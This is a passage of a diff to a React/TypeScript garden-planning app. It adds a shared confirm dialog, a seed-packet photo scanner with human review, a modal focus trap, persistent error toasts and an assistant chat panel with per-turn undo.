Cancel
</Button>
<Button type="button" variant="danger" onClick={onConfirm} disabled={deletion.isPending}>
{deletion.isPending ? 'Deleting' : 'Delete'}
</Button>
</div>
</div>
</Modal>
</ConfirmModal>
)
}
@@ -1,8 +1,4 @@
import { useState } from 'react'
import { Alert } from '@/components/ui/Alert'
import { Button } from '@/components/ui/Button'
import { Modal } from '@/components/ui/Modal'
import { errorMessage } from '@/lib/api'
import { ConfirmModal } from '@/components/ui/ConfirmModal'
import { formatQuantity, useDeleteSeedLot, type SeedLot } from '@/lib/seedLots'
/**
@@ -12,11 +8,15 @@ import { formatQuantity, useDeleteSeedLot, type SeedLot } from '@/lib/seedLots'
*/
export function DeleteSeedLotModal({ lot, onClose }: { lot: SeedLot; onClose: () => void }) {
const del = useDeleteSeedLot()
const [error, setError] = useState<string | null>(null)
return (
<Modal title="Retire this seed lot?" onClose={onClose} busy={del.isPending}>
<div className="flex flex-col gap-3">
<ConfirmModal
title="Retire this seed lot?"
confirmLabel="Retire lot"
busyLabel="Retiring…"
errorFallback="Could not retire the lot."
onConfirm={() => del.mutateAsync(lot.id)}
onClose={onClose}
>
<p className="text-sm text-fg">
{formatQuantity(lot.quantity)} {lot.unit}
{lot.vendor ? ` from ${lot.vendor}` : ''}
@@ -25,26 +25,6 @@ export function DeleteSeedLotModal({ lot, onClose }: { lot: SeedLot; onClose: ()
<p className="text-sm text-muted">
Anything planted from it stays exactly where it is it just stops being attributed to this purchase.
</p>
{error && <Alert>{error}</Alert>}
<div className="mt-1 flex justify-end gap-2">
<Button type="button" variant="ghost" onClick={onClose} disabled={del.isPending}>
Cancel
</Button>
<Button
type="button"
variant="danger"
disabled={del.isPending}
onClick={() =>
del.mutate(lot.id, {
onSuccess: onClose,
onError: (err) => setError(errorMessage(err, 'Could not retire the lot.')),
})
}
>
{del.isPending ? 'Retiring…' : 'Retire lot'}
</Button>
</div>
</div>
</Modal>
</ConfirmModal>
)
}
+1 -1
View File
@@ -82,7 +82,7 @@ export function PlantCard({
<button
type="button"
onClick={() => setShowLots((v) => !v)}
className={`${cardActionClass} mr-auto flex items-center gap-1.5`}
className={`${cardActionClass} mr-auto gap-1.5`}
aria-expanded={showLots}
>
{lots.length === 0 ? (
+41
View File
@@ -0,0 +1,41 @@
import { cn } from '@/lib/cn'
import { PlantIcon } from '@/components/plants/PlantIcon'
import type { Plant } from '@/lib/plants'
/**
* A small tap-to-arm plant chip (icon + name), highlighted when it's the armed
* plant. Shared by the Seed Tray (which wraps it with a remove button) and the
* Recent-plants strip, so the two quick-pick surfaces stay visually identical.
* `rounded` is false when a caller (the tray) attaches a trailing control and
* needs a flat right edge.
*/
export function PlantChip({
plant,
active,
onArm,
rounded = true,
}: {
plant: Plant
active: boolean
onArm: (plant: Plant) => void
rounded?: boolean
}) {
return (
<button
type="button"
onClick={() => onArm(plant)}
aria-pressed={active}
title={active ? `Placing ${plant.name}` : `Place ${plant.name}`}
className={cn(
'inline-flex shrink-0 items-center gap-1.5 border py-1 pl-1.5 text-xs font-medium outline-none transition-colors focus-visible:ring-2 focus-visible:ring-accent/40',
rounded ? 'rounded-full pr-2.5' : 'rounded-l-full pr-1',
active
? 'border-accent bg-accent/10 text-accent-strong'
: 'border-border bg-surface text-fg hover:border-accent',
)}
>
<PlantIcon color={plant.color} icon={plant.icon} className="h-5 w-5 rounded-full text-[0.65rem]" />
<span className="max-w-[6rem] truncate">{plant.name}</span>
</button>
)
}
@@ -0,0 +1,432 @@
import { useRef, useState, type ChangeEvent, type FormEvent } from 'react'
import { Alert } from '@/components/ui/Alert'
import { Button } from '@/components/ui/Button'
import { Modal } from '@/components/ui/Modal'
import { Select } from '@/components/ui/Select'
import { TextField } from '@/components/ui/TextField'
import { toast } from '@/components/ui/toast'
import { PlantIcon } from '@/components/plants/PlantIcon'
import { errorMessage } from '@/lib/api'
import {
lotDefaults,
newPlantDefaults,
useCreateFromPacket,
useScanPacket,
type PacketProposal,
} from '@/lib/seedPacket'
import {
CATEGORY_LABELS,
PLANT_CATEGORIES,
type PlantCategory,
type PlantInput,
} from '@/lib/plants'
import { LOT_UNITS, type LotUnit } from '@/lib/seedLots'
import { cmFromSpacing, spacingFromCm, spacingUnitLabel, type UnitPref } from '@/lib/units'
const categoryOptions = PLANT_CATEGORIES.map((c) => ({ value: c, label: CATEGORY_LABELS[c] }))
const unitOptions = LOT_UNITS.map((u) => ({ value: u.value, label: u.label }))
// 'new' is "create a new variety"; a number selects that existing candidate plant.
type Selection = number | 'new'
/**
* Photograph a seed packet → an editable proposal → confirm into a plant + lot
* (#102). Two phases in one dialog: capture (camera/upload) then review. The
* review never commits blind — the model can misread, so every committed field is
* editable and the human picks "this is an existing plant" vs "a new variety".
*
* Only offered where `capabilities.vision` is on (the caller gates the entry
* point), so a scan should always be possible; a 503 is still handled in case the
* model is torn down between the capabilities poll and the upload.
*/
export function ScanPacketModal({ unit, onClose }: { unit: UnitPref; onClose: () => void }) {
const scan = useScanPacket()
const create = useCreateFromPacket()
const fileInput = useRef<HTMLInputElement>(null)
// Lets Cancel abort a slow/hung scan (the server allows up to 120s) so the
// dialog is never a trap the user can only escape by reloading the page.
const scanAbort = useRef<AbortController | null>(null)
const [proposal, setProposal] = useState<PacketProposal | null>(null)
const [error, setError] = useState<string | null>(null)
// Review-phase fields, seeded from the proposal when a scan lands.
const [selection, setSelection] = useState<Selection>('new')
const [name, setName] = useState('')
const [category, setCategory] = useState<PlantCategory>('vegetable')
const [spacing, setSpacing] = useState('')
const [days, setDays] = useState('')
// One vendor field: it's the packet's vendor, and feeds both the new plant (if
// creating one) and the lot.
const [vendor, setVendor] = useState('')
const [quantity, setQuantity] = useState('')
const [lotUnit, setLotUnit] = useState<LotUnit>('packets')
const [sku, setSku] = useState('')
const [lotCode, setLotCode] = useState('')
const [packedForYear, setPackedForYear] = useState('')
const [cost, setCost] = useState('')
const unitLabel = spacingUnitLabel(unit)
const busy = scan.isPending || create.isPending
function onFile(e: ChangeEvent<HTMLInputElement>) {
const file = e.target.files?.[0]
// Reset the input so re-picking the same file fires change again (e.g. after
// an error, retrying the same photo).
e.target.value = ''
if (!file) return
setError(null)
const controller = new AbortController()
scanAbort.current = controller
scan.mutate(
{ file, signal: controller.signal },
{
onSuccess: (p) => {
const plant = newPlantDefaults(p)
const lot = lotDefaults(p.packet)
setProposal(p)
// Default to the top candidate when there is one — the likely case is
// the packet is a variety already in the catalog — else create a new one.
setSelection(p.candidates[0]?.plant.id ?? 'new')
setName(plant.name)
setCategory(plant.category)
setSpacing(String(spacingFromCm(plant.spacingCm, unit)))
setDays(plant.daysToMaturity != null ? String(plant.daysToMaturity) : '')
setVendor(lot.vendor)
setQuantity(String(lot.quantity))
setLotUnit(lot.unit)
setSku(lot.sku)
setLotCode(lot.lotCode)
setPackedForYear(lot.packedForYear != null ? String(lot.packedForYear) : '')
// Cost isn't on a packet, so it's the one field not reseeded from the
// proposal; clear it so a value typed before a Rescan doesn't linger.
setCost('')
},
onError: (err) => {
// An aborted scan is a user cancel, not a failure — and Cancel also
// closes the dialog, so there's nothing to report.
if ((err as Error)?.name === 'AbortError') return
setError(errorMessage(err, "Couldn't read that photo. Try a clearer, well-lit shot of the packet."))
},
},
)
}
async function onConfirm(e: FormEvent) {
e.preventDefault()
if (!proposal) return
setError(null)
// Lot validation mirrors SeedLotModal so the two paths accept the same things.
const qty = quantity.trim() === '' ? 0 : Number(quantity)
if (!Number.isFinite(qty) || qty < 0) {
setError('Quantity must be a number, or left blank.')
return
}
let year: number | null = null
if (packedForYear.trim()) {
const y = Number(packedForYear)
if (!Number.isInteger(y) || y < 1900 || y > 2200) {
setError('Packed-for year should be a four-digit year.')
return
}
year = y
}
let costCents: number | null = null
if (cost.trim()) {
const c = Number(cost)
if (!Number.isFinite(c) || c < 0) {
setError('Cost must be an amount, or left blank.')
return
}
costCents = Math.round(c * 100)
}
const lot = {
vendor: vendor.trim(),
sourceUrl: '',
sku: sku.trim(),
lotCode: lotCode.trim(),
purchasedAt: null,
packedForYear: year,
quantity: qty,
unit: lotUnit,
costCents,
germinationPct: null,
notes: '',
}
let newPlant: PlantInput | undefined
let plantId: number | undefined
if (selection === 'new') {
if (!name.trim()) {
setError('Name the new variety, or pick an existing plant above.')
return
}
const spacingCm = cmFromSpacing(parseFloat(spacing), unit)
if (!Number.isFinite(spacingCm) || spacingCm < 1) {
setError(`Spacing must be at least 1 ${unitLabel}.`)
return
}
let daysToMaturity: number | null = null
if (days.trim()) {
const d = Number(days)
if (!Number.isInteger(d) || d < 1) {
setError('Days to maturity must be a whole number of days, or left blank.')
return
}
daysToMaturity = d
}
newPlant = {
...newPlantDefaults(proposal),
name: name.trim(),
category,
spacingCm,
daysToMaturity,
vendor: vendor.trim(),
}
} else {
plantId = selection
}
try {
const res = await create.mutateAsync({ plantId, newPlant, lot })
toast.info(
res.plantIsNew
? `Added ${res.plant.name} and its seed lot.`
: `Recorded a seed lot for ${res.plant.name}.`,
)
onClose()
} catch (err) {
setError(errorMessage(err, 'Could not save the packet.'))
}
}
return (
<Modal title="Scan a seed packet" onClose={onClose} busy={busy}>
{!proposal ? (
<div className="flex flex-col gap-4">
<p className="text-sm text-muted">
Take a photo of the front of a seed packet and pansy reads the details off it you review and
confirm before anything is saved.
</p>
{/* A hidden input is triggered by the buttons below. `capture` hints a
phone to open the camera; on desktop it's ignored and both buttons
open a file chooser. */}
<input
ref={fileInput}
type="file"
accept="image/*"
capture="environment"
onChange={onFile}
className="hidden"
aria-hidden
tabIndex={-1}
/>
{scan.isPending ? (
<p className="flex items-center gap-2 rounded-md bg-border/40 px-3 py-2 text-sm text-muted">
<span className="inline-block h-2 w-2 animate-pulse rounded-full bg-accent" />
Reading the packet this can take a few seconds.
</p>
) : (
<Button type="button" onClick={() => fileInput.current?.click()}>
Take or choose a photo
</Button>
)}
{error && <Alert>{error}</Alert>}
<div className="flex justify-end">
{/* Not disabled while scanning — this is the way out of a slow scan.
Aborting a settled/absent request is a harmless no-op. */}
<Button
type="button"
variant="ghost"
onClick={() => {
scanAbort.current?.abort()
onClose()
}}
>
Cancel
</Button>
</div>
</div>
) : (
<form onSubmit={onConfirm} className="flex flex-col gap-4">
<ReadFields proposal={proposal} unit={unit} />
<fieldset className="flex flex-col gap-2">
<legend className="text-sm font-medium text-fg">This packet is</legend>
{proposal.candidates.map((c) => (
<label
key={c.plant.id}
className="flex cursor-pointer items-center gap-2 rounded-md border border-border px-2 py-1.5 text-sm has-[:checked]:border-accent has-[:checked]:bg-accent/10"
>
<input
type="radio"
name="packet-selection"
checked={selection === c.plant.id}
onChange={() => setSelection(c.plant.id)}
/>
<PlantIcon color={c.plant.color} icon={c.plant.icon} className="h-6 w-6 rounded text-sm" />
<span className="flex-1 font-medium text-fg">{c.plant.name}</span>
<span className="text-xs text-muted">{c.reason}</span>
</label>
))}
<label className="flex cursor-pointer items-center gap-2 rounded-md border border-border px-2 py-1.5 text-sm has-[:checked]:border-accent has-[:checked]:bg-accent/10">
<input
type="radio"
name="packet-selection"
checked={selection === 'new'}
onChange={() => setSelection('new')}
/>
<span className="flex-1 font-medium text-fg">
{proposal.candidates.length > 0 ? 'None of these — a new variety' : 'Add as a new variety'}
</span>
</label>
</fieldset>
{selection === 'new' && (
<div className="flex flex-col gap-3 rounded-md border border-border p-3">
<TextField
label="Name"
name="name"
required
value={name}
onChange={(e) => setName(e.target.value)}
hint="You can set an icon and color later from the plant card."
/>
<div className="grid grid-cols-2 gap-3">
<Select
label="Category"
name="category"
value={category}
onChange={(e) => setCategory(e.target.value as PlantCategory)}
options={categoryOptions}
/>
<TextField
label={`Spacing (${unitLabel})`}
name="spacing"
type="number"
inputMode="decimal"
step="any"
min="1"
required
value={spacing}
onChange={(e) => setSpacing(e.target.value)}
/>
</div>
<TextField
label="Days to maturity (optional)"
name="days"
type="number"
inputMode="numeric"
step="1"
min="1"
value={days}
onChange={(e) => setDays(e.target.value)}
/>
</div>
)}
{/* The seed lot — what you bought — recorded against whichever plant. */}
<div className="flex flex-col gap-3">
<p className="text-sm font-medium text-fg">Seed lot</p>
<div className="grid grid-cols-2 gap-3">
<TextField
label="Quantity"
name="quantity"
type="number"
inputMode="decimal"
step="any"
min="0"
value={quantity}
onChange={(e) => setQuantity(e.target.value)}
/>
<Select
label="Unit"
name="unit"
value={lotUnit}
onChange={(e) => setLotUnit(e.target.value as LotUnit)}
options={unitOptions}
/>
</div>
<div className="grid grid-cols-2 gap-3">
<TextField label="Vendor" name="vendor" value={vendor} onChange={(e) => setVendor(e.target.value)} />
<TextField
label="Packed for"
name="packedForYear"
type="number"
inputMode="numeric"
placeholder="2026"
value={packedForYear}
onChange={(e) => setPackedForYear(e.target.value)}
/>
</div>
<div className="grid grid-cols-2 gap-3">
<TextField label="SKU" name="sku" value={sku} onChange={(e) => setSku(e.target.value)} />
<TextField
label="Cost"
name="cost"
type="number"
inputMode="decimal"
step="0.01"
min="0"
placeholder="4.99"
value={cost}
onChange={(e) => setCost(e.target.value)}
/>
</div>
</div>
{error && <Alert>{error}</Alert>}
<div className="mt-1 flex justify-between gap-2">
<Button
type="button"
variant="ghost"
onClick={() => {
// Clear the review-phase error too, or it would show on the
// capture screen we're returning to.
setError(null)
setProposal(null)
}}
disabled={busy}
>
Rescan
</Button>
<Button type="submit" disabled={busy}>
{create.isPending ? 'Saving…' : selection === 'new' ? 'Create plant + lot' : 'Add lot'}
</Button>
</div>
</form>
)}
</Modal>
)
}
/** A compact read-only summary of what the model pulled off the packet, so the
* user can see the extraction at a glance while they confirm. Only fields that
* came back are shown. */
function ReadFields({ proposal, unit }: { proposal: PacketProposal; unit: UnitPref }) {
const p = proposal.packet
const rows: [string, string][] = []
if (p.species) rows.push(['Species', p.species])
if (p.variety) rows.push(['Variety', p.variety])
if (p.spacingCm != null) rows.push(['Spacing', `${spacingFromCm(p.spacingCm, unit)} ${spacingUnitLabel(unit)}`])
if (p.daysToMaturity != null) rows.push(['Days to maturity', String(p.daysToMaturity)])
if (p.seedCount != null) rows.push(['Seed count', String(p.seedCount)])
if (rows.length === 0) return null
return (
<dl className="grid grid-cols-[auto_1fr] gap-x-3 gap-y-1 rounded-md bg-border/30 px-3 py-2 text-sm">
{rows.map(([k, v]) => (
<div key={k} className="contents">
<dt className="text-muted">{k}</dt>
<dd className="text-fg">{v}</dd>
</div>
))}
</dl>
)
}
+79
View File
@@ -0,0 +1,79 @@
import { useState, type ReactNode } from 'react'
import { Modal } from '@/components/ui/Modal'
import { Alert } from '@/components/ui/Alert'
import { Button } from '@/components/ui/Button'
import { errorMessage } from '@/lib/api'
/**
* A confirm-and-act dialog: a message, then Cancel / Confirm. It owns the shared
* shape every confirmation repeated by hand — the busy lock, the inline error on
* failure (so a 409 like PLANT_IN_USE is shown, not swallowed), and the footer —
* so each caller supplies only its message, its action, and its labels.
*
* onConfirm runs the action; it resolving closes the dialog, it throwing keeps
* the dialog open with the error and re-enables the button for a retry. This is
* confirmations only — dialogs with their own inputs (a rename, a form) keep
* using Modal directly.
*/
export function ConfirmModal({
title,
children,
confirmLabel,
busyLabel,
confirmVariant = 'danger',
confirmDisabled = false,
errorFallback,
onConfirm,
onClose,
}: {
title: string
/** The body — what's being confirmed. */
children: ReactNode
confirmLabel: string
/** Label while the action is in flight (e.g. "Deleting…"). */
busyLabel: string
confirmVariant?: 'danger' | 'primary'
/** Extra guard beyond busy (e.g. nothing to clear, no current user). */
confirmDisabled?: boolean
/** Message if the action throws something without its own user-facing text. */
errorFallback: string
onConfirm: () => Promise<unknown>
onClose: () => void
}) {
const [busy, setBusy] = useState(false)
const [error, setError] = useState<string | null>(null)
async function handleConfirm() {
setError(null)
setBusy(true)
try {
await onConfirm()
onClose()
} catch (err) {
setError(errorMessage(err, errorFallback))
setBusy(false) // keep the dialog open so the message shows and retry works
}
}
return (
<Modal title={title} onClose={onClose} busy={busy}>
<div className="flex flex-col gap-4">
{children}
{error && <Alert>{error}</Alert>}
<div className="flex justify-end gap-2">
<Button type="button" variant="ghost" onClick={onClose} disabled={busy}>
Cancel
</Button>
<Button
type="button"
variant={confirmVariant}
onClick={handleConfirm}
disabled={busy || confirmDisabled}
>
{busy ? busyLabel : confirmLabel}
</Button>
</div>
</div>
</Modal>
)
}
+55 -3
View File
@@ -1,5 +1,12 @@
import { useEffect, useRef, type ReactNode } from 'react'
// Tabbable controls inside the dialog, in DOM order. type="hidden" inputs are
// excluded — they'd match `input:not([disabled])` and, sitting at a boundary,
// break the wrap math. Hoisted out of the handler so it isn't rebuilt per Tab.
const FOCUSABLE_SELECTOR =
'a[href], button:not([disabled]), textarea:not([disabled]), ' +
'input:not([disabled]):not([type="hidden"]), select:not([disabled]), [tabindex]:not([tabindex="-1"])'
/**
* A centered modal dialog over a dimmed backdrop. Closes on Escape or a backdrop
* click, unless `busy` (a mutation is in flight) — then it stays put so the
@@ -27,12 +34,57 @@ export function Modal({
busyRef.current = busy
useEffect(() => {
cardRef.current?.focus()
const card = cardRef.current
// Remember who opened the dialog so focus can return there on close —
// otherwise it lands on <body> and a keyboard user loses their place.
const opener = document.activeElement as HTMLElement | null
card?.focus()
const focusable = () =>
Array.from(card?.querySelectorAll<HTMLElement>(FOCUSABLE_SELECTOR) ?? [])
function onKey(e: KeyboardEvent) {
if (e.key === 'Escape' && !busyRef.current) onCloseRef.current()
if (e.key === 'Escape' && !busyRef.current) {
onCloseRef.current()
return
}
if (e.key !== 'Tab') return
const items = focusable()
if (items.length === 0) {
e.preventDefault()
card?.focus()
return
}
const first = items[0]
const last = items[items.length - 1]
const active = document.activeElement
// If focus is NOT inside the dialog, pull it back in rather than let Tab
// escape. This is the robust case that covers focus having fallen to
// <body> — a control that was removed (ShareGardenModal's remove-share
// button) or disabled while busy — as well as any externally-stolen focus.
if (!card || !card.contains(active)) {
e.preventDefault()
;(e.shiftKey ? last : first).focus()
return
}
if (e.shiftKey && (active === first || active === card)) {
e.preventDefault()
last.focus()
} else if (!e.shiftKey && active === last) {
e.preventDefault()
first.focus()
}
}
document.addEventListener('keydown', onKey)
return () => document.removeEventListener('keydown', onKey)
return () => {
document.removeEventListener('keydown', onKey)
// Restore focus to the opener only if it's still in the document — the
// delete/clear flows this trap targets often remove the element that
// opened the dialog (a garden card, a plop row). A disconnected node's
// focus() silently no-ops and leaves focus on <body>, so fall through to
// that case explicitly rather than pretend it worked.
if (opener && opener.isConnected) opener.focus()
}
}, [])
return (
+11 -4
View File
@@ -1,10 +1,17 @@
// Shared footer-action button styling for list cards (garden/plant), so the
// verbatim class strings don't drift between them.
//
// Sized for touch: a ~40px-tall tap target (min-h + py-2) rather than the old
// ~28px text-link row, which was easy to mis-tap on a phone (#105). The min-h is
// what guarantees the target even when the label is short.
const cardActionBase =
'inline-flex min-h-[2.5rem] items-center rounded-md px-3 py-2 text-sm font-medium ' +
'text-muted outline-none transition-colors focus-visible:ring-2 '
export const cardActionClass =
'rounded-md px-2.5 py-1 text-sm font-medium text-muted outline-none transition-colors ' +
'hover:bg-border/50 hover:text-fg focus-visible:ring-2 focus-visible:ring-accent/40'
cardActionBase + 'hover:bg-border/50 hover:text-fg focus-visible:ring-accent/40'
export const cardDangerClass =
'rounded-md px-2.5 py-1 text-sm font-medium text-muted outline-none transition-colors ' +
'hover:bg-red-500/10 hover:text-red-600 focus-visible:ring-2 focus-visible:ring-red-500/40 dark:hover:text-red-400'
cardActionBase +
'hover:bg-red-500/10 hover:text-red-600 focus-visible:ring-red-500/40 dark:hover:text-red-400'
+26 -6
View File
@@ -17,9 +17,16 @@ interface ToastState {
let nextId = 1
// Error toasts no longer auto-dismiss (#85), so a burst of failures could grow
// the stack without bound and push older ones off-screen. Cap it: keep the most
// recent MAX_TOASTS and drop the oldest, so the newest — the one that just
// happened — is always visible.
const MAX_TOASTS = 4
export const useToastStore = create<ToastState>((set) => ({
toasts: [],
push: (message, tone = 'info') => set((s) => ({ toasts: [...s.toasts, { id: nextId++, message, tone }] })),
push: (message, tone = 'info') =>
set((s) => ({ toasts: [...s.toasts, { id: nextId++, message, tone }].slice(-MAX_TOASTS) })),
dismiss: (id) => set((s) => ({ toasts: s.toasts.filter((t) => t.id !== id) })),
}))
@@ -32,21 +39,34 @@ export const toast = {
// Param is `item`, not `toast`, so it doesn't shadow the module's `toast` export.
function ToastItem({ item }: { item: Toast }) {
const dismiss = useToastStore((s) => s.dismiss)
const isError = item.tone === 'error'
useEffect(() => {
// Error toasts are the primary report that a mutation failed, so they do NOT
// auto-dismiss — a user who looked away at second 4 would otherwise lose the
// only notice, with nothing to retrieve (#85). Info toasts still time out.
if (isError) return
const t = setTimeout(() => dismiss(item.id), 4000)
return () => clearTimeout(t)
}, [item.id, dismiss])
}, [item.id, dismiss, isError])
return (
<div
role={item.tone === 'error' ? 'alert' : 'status'}
role={isError ? 'alert' : 'status'}
className={cn(
'pointer-events-auto rounded-md border px-3 py-2 text-sm shadow-md',
item.tone === 'error'
'pointer-events-auto flex items-start gap-2 rounded-md border px-3 py-2 text-sm shadow-md',
isError
? 'border-red-500/40 bg-red-500/10 text-red-700 dark:text-red-300'
: 'border-border bg-surface text-fg',
)}
>
{item.message}
<span className="flex-1">{item.message}</span>
<button
type="button"
onClick={() => dismiss(item.id)}
aria-label="Dismiss"
className="-mr-1 shrink-0 rounded px-1 text-current opacity-60 outline-none hover:opacity-100 focus-visible:ring-2 focus-visible:ring-current/40"
>
</button>
</div>
)
}
+278
View File
@@ -0,0 +1,278 @@
import { Component, Suspense, useEffect, useRef, useState, type ReactNode } from 'react'
import { Alert } from '@/components/ui/Alert'
import { errorMessage } from '@/lib/api'
import { Button } from '@/components/ui/Button'
import { TextArea } from '@/components/ui/TextArea'
import { cn } from '@/lib/cn'
import {
describeStep,
streamChat,
useAgentHistory,
useAgentRefresh,
useClearAgentHistory,
type AgentStep,
type AgentTurn,
} from '@/lib/agent'
import { useUndo } from '@/lib/history'
import { lazyPage } from '@/lib/lazyPage'
import { UndoButton } from './UndoButton'
// Lazy so the markdown renderer + its ecosystem (~150 KB) loads only when an
// assistant message actually renders, not for everyone who opens the editor.
// lazyPage adds the stale-chunk recovery a plain lazy() lacks — a post-deploy
// chunk 404 would otherwise permanently break the assistant.
const MarkdownMessage = lazyPage(() => import('./MarkdownMessage'), 'MarkdownMessage')
/**
* Falls back to the raw message text if the markdown chunk can't load (a
* non-recoverable 404) or the renderer throws — a garbled reply should degrade to
* readable text, never take the whole editor down. Suspense handles the loading
* phase; this handles the failure one.
*/
class MarkdownBoundary extends Component<{ fallback: ReactNode; children: ReactNode }, { failed: boolean }> {
state = { failed: false }
static getDerivedStateFromError() {
return { failed: true }
}
render() {
return this.state.failed ? this.props.fallback : this.props.children
}
}
/**
* Talk to the garden assistant, in the editor beside the canvas.
*
* Here rather than on its own page because watching the garden change as the
* agent works IS the confirmation — which is what makes acting without asking
* first tolerable. It also means the agent never has to guess which garden you
* mean.
*/
export function ChatPanel({ gardenId, canEdit }: { gardenId: number; canEdit: boolean }) {
const history = useAgentHistory(gardenId, true)
const clear = useClearAgentHistory(gardenId)
const refresh = useAgentRefresh(gardenId)
const undo = useUndo(gardenId)
const [input, setInput] = useState('')
// The turn in flight: what we sent, the steps so far, and how it ended.
const [pending, setPending] = useState<{ message: string; steps: AgentStep[] } | null>(null)
const [error, setError] = useState<string | null>(null)
const [warning, setWarning] = useState<string | null>(null)
const abort = useRef<AbortController | null>(null)
const bottom = useRef<HTMLDivElement>(null)
// Deliberately NOT aborted on unmount. Selecting an object auto-switches the
// rail to the inspector, so aborting here would mean clicking the canvas
// mid-turn silently killed the turn — and the canvas is exactly what you're
// meant to be watching. The request continues, the exchange is persisted
// server-side, and coming back to this tab shows it. Only Stop aborts, and
// even that only stops us READING: the turn keeps running server-side, which
// is why its work still lands in History either way.
// Follow the conversation as it grows, including mid-turn as steps arrive.
useEffect(() => {
bottom.current?.scrollIntoView({ behavior: 'smooth', block: 'end' })
}, [history.data, pending])
const send = () => {
const message = input.trim()
if (!message || pending) return
setInput('')
setError(null)
setWarning(null)
setPending({ message, steps: [] })
const controller = new AbortController()
abort.current = controller
void streamChat(
gardenId,
message,
{
onStep: (step) => {
setPending((p) => (p ? { ...p, steps: [...p.steps, step] } : p))
// The canvas updating under the conversation is the whole point of
// putting the chat here, so refresh it as each step lands — but only
// it: nothing else can have changed until the turn commits.
refresh.canvas()
},
onDone: (turn: AgentTurn) => {
setPending(null)
refresh.everything()
if (turn.truncated) {
setError('That turned into more steps than I should take at once — check what changed before continuing.')
}
},
onWarning: setWarning,
onError: (message) => {
setPending(null)
setError(message)
// Something may still have landed before it failed.
refresh.everything()
},
},
controller.signal,
)
}
const messages = history.data ?? []
return (
<div className="flex h-full flex-col gap-3">
<div className="flex items-center justify-between gap-2">
<h2 className="text-sm font-semibold text-fg">Assistant</h2>
{messages.length > 0 && (
<button
type="button"
onClick={() =>
clear.mutate(undefined, {
onError: (err) => setError(errorMessage(err, "Couldn't clear the conversation.")),
})
}
disabled={clear.isPending || !!pending}
className="rounded px-1.5 py-0.5 text-xs text-muted outline-none hover:text-fg focus-visible:ring-2 focus-visible:ring-accent/40 disabled:opacity-50"
>
Start over
</button>
)}
</div>
{!canEdit && (
<p className="rounded-md bg-border/40 px-2 py-1 text-xs text-muted">
You can only view this garden, so the assistant can't change anything in it.
</p>
)}
<div className="flex min-h-0 flex-1 flex-col gap-3 overflow-y-auto">
{history.isPending && <p className="text-sm text-muted">Loading the conversation…</p>}
{/* A failed load rendering as an empty thread would look like the
conversation had been lost, which is a much worse thing to believe. */}
{history.isError && (
<Alert>{errorMessage(history.error, "Couldn't load the conversation.")}</Alert>
)}
{history.isSuccess && messages.length === 0 && !pending && (
<p className="text-sm text-muted">
Ask for what you want and it'll do it — “change the garlic bed to cucumbers this year”, “fill the
north half of the west bed with beans”, “what's in here?”. Everything it does lands as one change you
can undo.
</p>
)}
{messages.map((m) => (
<Bubble key={m.id} role={m.role} body={m.body}>
{/* Undo on the turn itself, so the common case never involves
opening the History panel. Same hook #49 uses, not a second
implementation. */}
{m.role === 'assistant' && m.changeSetId != null && canEdit && (
<UndoButton changeSet={{ id: m.changeSetId }} undo={undo} className="mt-1 items-start" />
)}
</Bubble>
))}
{pending && (
<>
<Bubble role="user" body={pending.message} />
<div className="rounded-lg border border-border px-2.5 py-2 text-sm">
<ol className="flex flex-col gap-0.5">
{pending.steps.map((s) => (
<li key={s.index} className="text-xs text-muted">
{describeStep(s)}…
</li>
))}
</ol>
<p className="mt-1 flex items-center gap-1.5 text-xs text-muted">
<span className="inline-block h-1.5 w-1.5 animate-pulse rounded-full bg-accent" />
{pending.steps.length === 0 ? 'Thinking…' : 'Working…'}
</p>
</div>
</>
)}
{warning && <Alert tone="info">{warning}</Alert>}
{error && <Alert>{error}</Alert>}
<div ref={bottom} />
</div>
<div className="flex flex-col gap-2 border-t border-border pt-2">
<TextArea
label="Message"
name="agentMessage"
rows={2}
placeholder="Change the garlic bed to cucumbers this year"
value={input}
disabled={!!pending}
onChange={(e) => setInput(e.target.value)}
onKeyDown={(e) => {
// Enter sends, Shift+Enter breaks the line — the convention every
// chat box uses, and typing a newline by accident mid-thought is a
// worse failure than the reverse.
if (e.key === 'Enter' && !e.shiftKey) {
e.preventDefault()
send()
}
}}
/>
<div className="flex justify-end gap-2">
{pending && (
<Button
variant="ghost"
className="px-2 py-1 text-xs"
onClick={() => {
abort.current?.abort()
setPending(null)
refresh.everything()
}}
>
Stop
</Button>
)}
<Button className="px-3 py-1.5 text-sm" disabled={!!pending || input.trim() === ''} onClick={send}>
{pending ? 'Working…' : 'Send'}
</Button>
</div>
</div>
</div>
)
}
function Bubble({
role,
body,
children,
}: {
role: 'user' | 'assistant'
body: string
children?: ReactNode
}) {
const mine = role === 'user'
return (
<div className={cn('flex flex-col', mine ? 'items-end' : 'items-start')}>
<div
className={cn(
'rounded-lg px-2.5 py-2 text-sm',
// The user's own text is literal (their `*` shouldn't become a bullet)
// and hugs the right; the assistant's Markdown is rendered and gets the
// full width so a table has room.
mine
? 'max-w-[90%] whitespace-pre-wrap bg-accent/15 text-fg'
: 'w-full border border-border text-fg',
)}
>
{mine ? (
body
) : (
// Show the raw text until the renderer chunk arrives (Suspense), and fall
// back to it if the chunk can't load or the renderer throws (boundary) —
// either way the message is readable, never blank and never a crash.
<MarkdownBoundary fallback={<span className="whitespace-pre-wrap">{body}</span>}>
<Suspense fallback={<span className="whitespace-pre-wrap">{body}</span>}>
<MarkdownMessage>{body}</MarkdownMessage>
</Suspense>
</MarkdownBoundary>
)}
</div>
{children}
</div>
)
}
+17 -23
View File
@@ -1,43 +1,37 @@
import { Modal } from '@/components/ui/Modal'
import { Button } from '@/components/ui/Button'
import { ConfirmModal } from '@/components/ui/ConfirmModal'
import { useClearObject } from '@/lib/objects'
/** Confirm clearing every active plop from a focused bed (soft-remove — the rows
* are kept with removed_at, so history survives). */
export function ClearBedModal({
objectId,
objectName,
plops,
plopCount,
gardenId,
onClose,
}: {
objectId: number
objectName: string
plops: { id: number; version: number }[]
plopCount: number
gardenId: number
onClose: () => void
}) {
const clear = useClearObject(gardenId)
const n = plops.length
return (
<Modal title="Clear bed" onClose={onClose} busy={clear.isPending}>
<div className="flex flex-col gap-4">
<ConfirmModal
title="Clear bed"
confirmLabel="Clear bed"
busyLabel="Clearing…"
confirmDisabled={plopCount === 0}
errorFallback="Could not clear the bed."
onConfirm={() => clear.mutateAsync(objectId)}
onClose={onClose}
>
<p className="text-sm text-muted">
Remove all <span className="font-medium text-fg">{n}</span> {n === 1 ? 'plant' : 'plants'} from{' '}
Remove all <span className="font-medium text-fg">{plopCount}</span>{' '}
{plopCount === 1 ? 'plant' : 'plants'} from{' '}
